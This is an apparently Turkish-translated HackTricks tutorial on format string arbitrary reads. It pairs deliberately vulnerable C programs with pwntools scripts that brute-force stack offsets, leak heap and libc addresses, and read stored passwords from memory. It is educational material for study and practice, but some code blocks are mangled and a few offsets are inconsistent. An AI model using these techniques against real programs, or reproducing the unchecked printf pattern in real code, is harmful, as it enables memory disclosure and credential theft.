Format Strings - Arbitrary Read Example

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Read Binary Start

Code

#include <stdio.h>

int main(void) {
char buffer[30];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);
return 0;
}

Bunu şu komutla derleyin:

clang -o fs-read fs-read.c -Wno-format-security -no-pie

Exploit

from pwn import *

p = process('./fs-read')

payload = f"%11$s|||||".encode()
payload += p64(0x00400000)

p.sendline(payload)
log.info(p.clean())
  • The offset 11’dir çünkü birkaç ‘A’ yerleştirip ve 0’dan 50’ye kadar dönen bir loop ile brute-forcing yapınca, offset 11’de ve 5 ekstra karakter (bizde pipes |), tam bir adresi kontrol etmek mümkün olduğu bulundu.
  • %11$p ile padding kullandım, ta ki adres tamamen 0x4141414141414141 olana kadar.
  • The format string payload adresin ÖNÜNDEDİR çünkü printf null byte’te okumayı durdurur, bu yüzden adresi gönderip sonra format string’i gönderirsek, printf format string’e asla ulaşmaz çünkü öncesinde bir null byte bulunacaktır.
  • Seçilen adres 0x00400000 çünkü binary buradan başlıyor (PIE yok)

Parolaları Oku

Vulnerable binary with stack and BSS parolaları ```c #include #include

char bss_password[20] = “hardcodedPassBSS”; // Password in BSS

int main() { char stack_password[20] = “secretStackPass”; // Password in stack char input1[20], input2[20];

printf(“Enter first password: “); scanf(”%19s“, input1);

printf(“Enter second password: “); scanf(”%19s“, input2);

// Vulnerable printf printf(input1); printf(“\n”);

// Check both passwords if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { printf(“Access Granted.\n”); } else { printf(“Access Denied.\n”); }

return 0; }

</details>

Bunu şu komutla derleyin:
```bash
clang -o fs-read fs-read.c -Wno-format-security

Read from stack

stack_password yerel bir değişken olduğu için stack’te saklanır; bu yüzden stack içeriğini göstermek için printf’i kötüye kullanmak yeterlidir. Bu exploit, ilk 100 pozisyonu BF ederek stack’ten passwords leak etmek içindir:

from pwn import *

for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()

Resimde, 10th pozisyonda stack’ten password’u leak edebildiğimizi görebilirsiniz:

Veri okuma

Aynı exploit’i %s yerine %p ile çalıştırmak, %25$p konumunda stack’ten bir heap address leak etmeyi mümkün kılar. Ayrıca, leak edilen address (0xaaaab7030894) ile o process’teki password’ün bellekteki pozisyonunu karşılaştırarak address’ler arasındaki farkı elde edebiliriz:

Şimdi, ikinci format string vulnerability’sinden erişebilmek için stack’te 1 address’i nasıl kontrol edeceğimizi bulma zamanı:

Kontrol edilebilir stack address bulma ```python from pwn import *

def leak_heap(p): p.sendlineafter(b“first password:“, b”%5$p“) p.recvline() response = p.recvline().strip()[2:] #Remove new line and “0x” prefix return int(response, 16)

for i in range(30): p = process(“./fs-read”)

heap_leak_addr = leak_heap(p) print(f“Leaked heap: {hex(heap_leak_addr)}“)

password_addr = heap_leak_addr - 0x126a

print(f“Try: {i}“) payload = f”%{i}$p|||“.encode() payload += b“AAAAAAAA”

p.sendline(payload) output = p.clean() print(output.decode(“utf-8”)) p.close()

</details>

Ve kullanılan passing ile **try 14**'te bir adresi kontrol edebildiğimizi görebiliyoruz:

<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>

### Exploit

<details>
<summary>Leak heap then read password</summary>
```python
from pwn import *

p = process("./fs-read")

def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc

print(f"Calculated address is: {hex(password_addr)}")

# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)

p.sendline(payload)
output = p.clean()
print(output)
p.close()

Offset keşfini otomatikleştirme

Her çalıştırmada stack düzeni değiştiğinde (full ASLR/PIE), offset’leri manuel olarak bruteforcing yapmak yavaştır. pwntools kontrolümüzdeki buffer’a ulaşan argüman indeksini otomatik olarak tespit etmek için FmtStr sağlar. Lambda, candidate payload’i gönderdikten sonra program çıktısını döndürmelidir. Belleği güvenilir şekilde bozup/gözlemleyebildiği anda durur.

from pwn import *

context.binary = elf = ELF('./fs-read', checksec=False)

# helper that sends payload and returns the first line printed
io = process()
def exec_fmt(payload):
io.sendline(payload)
return io.recvuntil(b'\n', drop=False)

fmt = FmtStr(exec_fmt=exec_fmt)
offset = fmt.offset
log.success(f"Discovered offset: {offset}")

Daha sonra offset’i fmtstr_payload ile arbitrary read/write payloads oluşturmak için yeniden kullanabilirsiniz, manuel %p fuzzing’inden kaçınarak.

PIE/libc leak sonra arbitrary read

Modern ikili dosyalarda PIE ve ASLR ile, önce herhangi bir libc pointer’ını leak edin (örn. __libc_start_main+243 veya setvbuf), base’leri hesaplayın, ardından hedef adresinizi format string’in sonrasına yerleştirin. Bu, pointer içindeki null byte’lar nedeniyle %s’in kırpılmasını engeller.

Leak libc and read arbitrary address ```python from pwn import *

elf = context.binary = ELF(‘./fs-read’, checksec=False) libc = ELF(‘/lib/x86_64-linux-gnu/libc.so.6’)

io = process()

leak libc address from stack (offset 25 from previous fuzz)

io.sendline(b“%25$p“) io.recvline() leak = int(io.recvline().strip(), 16) libc.address = leak - libc.symbols[‘__libc_start_main’] - 243 log.info(f“libc @ {hex(libc.address)}“)

secret = libc.address + 0x1f7bc # adjust to your target

payload = f“%14$s|||“.encode() payload += p64(secret)

io.sendline(payload) print(io.recvuntil(b“|||“)) # prints string at calculated address

</details>

## Referanslar

- [NVISO - Format string exploitation](https://blog.nviso.eu/2024/05/23/format-string-exploitation-a-hands-on-exploration-for-linux/)
- [Format string exploitation notes](https://hackmd.io/%40e20gJPRhRbKrBY5xcGKngA/SyM_Wcg_A)

> [!TIP]
> AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks'i Destekleyin</summary>
>
> - [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
> - **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
>
> </details>